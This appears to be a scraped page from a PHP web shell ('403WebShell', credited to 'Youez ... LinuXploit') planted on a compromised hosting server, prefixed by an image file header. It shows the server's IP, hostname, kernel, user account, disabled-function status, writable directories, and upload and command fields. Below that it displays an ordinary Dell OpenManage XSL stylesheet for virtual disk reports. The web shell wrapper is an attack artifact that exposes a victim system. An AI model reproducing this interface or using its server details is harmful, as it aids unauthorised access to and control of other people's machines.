����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.116.49.6
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/dell/srvadmin/var/lib/openmanage/xslroot/sm/template/cli/RptVDisk.xsl
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">
	<xsl:include href="../common/Utils.xsl"/>
	<xsl:include href="../common/vdtbl.xsl"/>
	<xsl:include href="../en/globals.xsl"/>
	<xsl:template match="/">
		<DataArea>
			<xsl:variable name="slotNum">
				<xsl:choose>
					<xsl:when test="//VirtualDisks/@PCISlotNo = '-1' or //VirtualDisks/@PCISlotNo = '2147483648' or //VirtualDisks/@PCISlotNo = '0' ">
						<xsl:value-of select="$strEmbedded"/>
					</xsl:when>
					<xsl:when test="//VirtualDisks/@PCISlotNo = '2147483649'">
					<xsl:value-of select="'Not Available'"/>
					</xsl:when>
					<xsl:otherwise>Slot <xsl:value-of select="//VirtualDisks/@PCISlotNo"/>
					</xsl:otherwise>
				</xsl:choose>
			</xsl:variable>
			<xsl:choose>	
			 <xsl:when test="not(/*/VirtualDisks/DCStorageObject[IsSSC='0']) or count(/*/VirtualDisks/DCStorageObject[IsSSC='0']) &gt; 0">	
			<xsl:choose>
				<xsl:when test="/*/VirtualDisks/@System='true'">
					<!-- The command: omreport storage vdisk   was called -->
					<PageTitle>
						<xsl:attribute name="display"><xsl:value-of select="$strRptVDiskTitle1"/></xsl:attribute>
					</PageTitle>
					<!--<xsl:apply-templates select="/*/VirtualDisks"/> -->
				</xsl:when>
				<!-- end of when test="count(/*/VirtualDisks)=1" -->
				<xsl:otherwise>
					<!-- A controller was provided on the command.  Figure out which version of the command was called -->
					<xsl:choose>
						<xsl:when test="count(/*/VirtualDisks/DCStorageObject)=1">
							<!-- The command: omreport storage vdisk controller=id vdisk=id  was called -->
							<PageTitle>
								<xsl:attribute name="display"><xsl:value-of select="$strRptVDiskTitle2"/><xsl:value-of select="/*/VirtualDisks/DCStorageObject/LogicalDriveNum"/> on Controller <xsl:value-of select="//VirtualDisks/@ControllerName"/> (<xsl:value-of select="$slotNum"/>)</xsl:attribute>
							</PageTitle>
						</xsl:when>
						<xsl:when test="count(/*/VirtualDisks/DCStorageObject)>0">
							<!-- The command: omreport storage vdisk controller=id was called  for a controller with virtual disks-->
							<PageTitle>
								<xsl:attribute name="display"><xsl:value-of select="$strRptVDiskTitle3"/><xsl:value-of select="//VirtualDisks/@ControllerName"/> (<xsl:value-of select="$slotNum"/>)</xsl:attribute>
							</PageTitle>
						</xsl:when>
						<xsl:otherwise>
							<!-- The command: omreport storage vdisk controller=id  was called for a controller with no virtual disks-->
							<PageTitle>
								<xsl:attribute name="display"><xsl:value-of select="$strRptVDiskTitle4"/></xsl:attribute>
							</PageTitle>
						</xsl:otherwise>
					</xsl:choose>
				</xsl:otherwise>
			</xsl:choose>
			<xsl:apply-templates select="/*/VirtualDisks"/>
			</xsl:when>
		   </xsl:choose>	
    	</DataArea>
	</xsl:template>
	<xsl:template match="VirtualDisks">
		<xsl:variable name="slotNum">
			<xsl:choose>
				<xsl:when test="@PCISlotNo = '-1' or @PCISlotNo = '2147483648' or @PCISlotNo = '0' ">
					<xsl:value-of select="$strEmbedded"/>
				</xsl:when>
				<xsl:when test="@PCISlotNo = '2147483649'">
				<xsl:value-of select="'Not Available'"/>
				</xsl:when>
				<xsl:otherwise>Slot <xsl:value-of select="@PCISlotNo"/>
				</xsl:otherwise>
			</xsl:choose>
		</xsl:variable>

		<TableData>
		  
		 
		   <xsl:if test="not(DCStorageObject/IsSSC) or DCStorageObject/IsSSC='0'">
			<SubHeader>
			   <xsl:if test="count(DCStorageObject) &gt; 0">
				<xsl:attribute name="display">Controller <xsl:value-of select="@ControllerName"/> (<xsl:value-of select="$slotNum"/>)</xsl:attribute>
			   </xsl:if>	
			</SubHeader>
			<Header>
				<xsl:call-template name="VirtualDiskTableHeader">
					<xsl:with-param name="tasks">false</xsl:with-param>
					<xsl:with-param name="ManageIsSSC"><xsl:value-of select="IsSSC"/></xsl:with-param>
				</xsl:call-template>
			</Header>
			</xsl:if>
			<xsl:for-each select="DCStorageObject">
				<xsl:sort select="LogicalDriveNum" data-type="number" order="ascending"/>
				<xsl:if test="not(IsSSC) or IsSSC='0'"><!-- Filter child VDs-->
				<xsl:call-template name="VirtualDiskTableRows">
					<xsl:with-param name="tasks">false</xsl:with-param>
					<xsl:with-param name="ManageIsSSC"><xsl:value-of select="IsSSC"/></xsl:with-param>
				</xsl:call-template>
				</xsl:if>
			</xsl:for-each>
		</TableData>
	
		<!--xsl:if test="count(DCStorageObject)=0">
			<PageTitle>
				<xsl:attribute name="display"><xsl:value-of select="$strRptVDiskTitle4"/></xsl:attribute>
			</PageTitle>
		</xsl:if-->
	</xsl:template>
</xsl:stylesheet>

Youez - 2016 - github.com/yon3zu
LinuXploit